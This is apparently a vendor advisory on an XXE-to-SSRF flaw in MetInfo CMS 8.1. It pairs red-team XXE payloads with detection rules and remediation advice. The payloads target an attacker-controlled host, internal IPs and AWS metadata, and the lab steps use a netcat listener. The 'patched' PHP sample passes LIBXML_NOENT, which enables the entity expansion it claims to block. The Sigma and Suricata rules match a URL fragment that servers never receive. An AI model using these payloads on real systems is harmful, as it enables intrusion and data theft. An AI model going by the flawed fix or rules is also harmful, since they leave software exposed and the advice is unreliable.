CVE-2025-63551

Executive Summary

CVE-2025-63551 is a critical Server-Side Request Forgery (SSRF) vulnerability, achieved through an XML External Entity (XXE) injection, in the MetInfo Content Management System (CMS) through version 8.1. The flaw resides in the XML parsing logic of the backend API associated with the path /admin/#/webset/?head_tab_active=0. An unauthenticated attacker can craft a malicious XML payload that forces the server to make HTTP requests to arbitrary internal or external network addresses. Successful exploitation enables internal network reconnaissance, port scanning, and the exfiltration of sensitive data. No public proof-of-concept (PoC) code or patch is currently available, making this a high-priority zero-day threat for all MetInfo deployments.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the vulnerability characteristics, a realistic CVSSv3.1 score is 7.5 (High).
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Sensitive data from internal services can be exfiltrated.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.
• Threat Level: Critical – Due to the lack of a patch and the potential for internal network compromise.

Deep Dive & Mechanics

The vulnerability is a classic XML External Entity (XXE) injection that leads to Server-Side Request Forgery (SSRF). The MetInfo CMS backend API, specifically the endpoint handling XML data at /admin/#/webset/?head_tab_active=0, does not properly disable external entity resolution in its XML parser.

Attack Flow:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint with a malicious XML payload.
2. The XML payload defines an external entity that references an internal or external URL (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata).
3. The server's XML parser processes the entity, making an HTTP request to the attacker-specified URL.
4. The response from the internal service is then included in the XML output or error message, which is returned to the attacker.

Key Technical Details:

• The vulnerable component is the XML parser used by the MetInfo backend API.
• The attack does not require authentication, making it exploitable by any remote attacker.
• The SSRF can be used to scan internal networks, access cloud metadata (e.g., AWS, GCP, Azure), or interact with other internal services (e.g., databases, Redis, internal APIs).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the XML parsing logic in MetInfo CMS <= 8.1. The following is a hypothetical example of the vulnerable code and a secure implementation.

Vulnerable Code (PHP Example):

<?php
// Vulnerable XML parsing
$xml = simplexml_load_string($_POST['xml_data']);
// Process $xml...
?>

Patched Code (Secure Implementation):

<?php
// Secure XML parsing - disable external entities
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($_POST['xml_data'], 'SimpleXMLElement', LIBXML_NOENT);
// Process $xml...
?>

Key Differences:

• The vulnerable code does not disable external entity loading.
• The patched code uses libxml_disable_entity_loader(true) to prevent XXE attacks.
• Additionally, using LIBXML_NOENT without proper configuration can still be dangerous; the safest approach is to disable external entities entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable MetInfo CMS instance (version 8.1 or earlier) in a controlled environment.
2. Set up a listener (e.g., nc -lvnp 8080) to capture outbound requests.
3. Use a tool like Burp Suite or a simple Python script to send the malicious payload.

Exploit Payload (XXE to SSRF):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker-controlled-server.com/data.txt">
]>
<root>&xxe;</root>

Exploit Payload (Internal Network Recon):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:80">
]>
<root>&xxe;</root>

Exploit Payload (Cloud Metadata - AWS):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

Steps:

1. Send a POST request to /admin/#/webset/?head_tab_active=0 with the malicious XML as the body.
2. Observe the response for any data returned from the internal service.
3. Use the SSRF to perform port scanning by iterating through IP addresses and ports.

Blue Team (Defensive)

Detection:

• Monitor for outbound HTTP requests from the MetInfo server to unexpected internal or external IP addresses.
• Look for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM in HTTP request bodies.
• Use Web Application Firewall (WAF) rules to block XXE patterns.

Hunting:

• Search logs for requests to /admin/#/webset/?head_tab_active=0 with XML content.
• Analyze server logs for connections to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the web server process.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the MetInfo server to internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Outbound HTTP requests to cloud metadata IPs (169.254.169.254, 100.100.100.200, etc.).
  • Unusual DNS queries for internal hostnames.
• File IOCs:
  • Log entries containing XML payloads with <!DOCTYPE and <!ENTITY declarations.
  • Temporary files created by the XML parser in /tmp/ or similar directories.
• Process IOCs:
  • The web server process (e.g., Apache, Nginx) making outbound HTTP connections.

Detection Engineering

YARA Rule

rule CVE_2025_63551_XXE_SSRF_MetInfo {
    meta:
        description = "Detects XXE payloads targeting MetInfo CMS SSRF vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63551"
    strings:
        $xxe1 = "<!DOCTYPE" nocase
        $xxe2 = "<!ENTITY" nocase
        $xxe3 = "SYSTEM" nocase
        $xxe4 = "http://" nocase
        $xxe5 = "https://" nocase
        $metinfo = "/admin/#/webset/" nocase
    condition:
        all of ($xxe*) and $metinfo
}

Sigma Rule

title: CVE-2025-63551 - MetInfo CMS XXE to SSRF
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing XXE payloads targeting MetInfo CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/#/webset/'
        cs-uri-query: 'head_tab_active=0'
    keywords:
        - '<!DOCTYPE'
        - '<!ENTITY'
        - 'SYSTEM'
        - 'http://'
        - 'https://'
    condition: selection and keywords
falsepositives:
    - Legitimate XML processing (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63551 - MetInfo CMS XXE to SSRF"; flow:to_server,established; content:"POST"; http_method; content:"/admin/#/webset/"; http_uri; content:"head_tab_active=0"; http_uri; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, block access to /admin/#/webset/ via a web application firewall (WAF) or reverse proxy.
2. Apply virtual patching: Use a WAF to block requests containing XXE patterns (e.g., <!DOCTYPE, <!ENTITY, SYSTEM).
3. Network segmentation: Restrict outbound HTTP access from the MetInfo server to only necessary external services.
4. Monitor logs: Actively monitor for SSRF attempts and unusual outbound connections.

Long-Term Fix:

• Upgrade: Once a patch is released by MetInfo, upgrade to the latest version immediately.
• Code fix: If you have access to the source code, modify the XML parser to disable external entity loading (e.g., libxml_disable_entity_loader(true) in PHP).
• Alternative: Consider migrating to a different, actively maintained CMS.

Workarounds:

• Use a reverse proxy (e.g., Nginx, Apache) to filter requests to the vulnerable path.
• Implement strict input validation for XML data.

Valters IT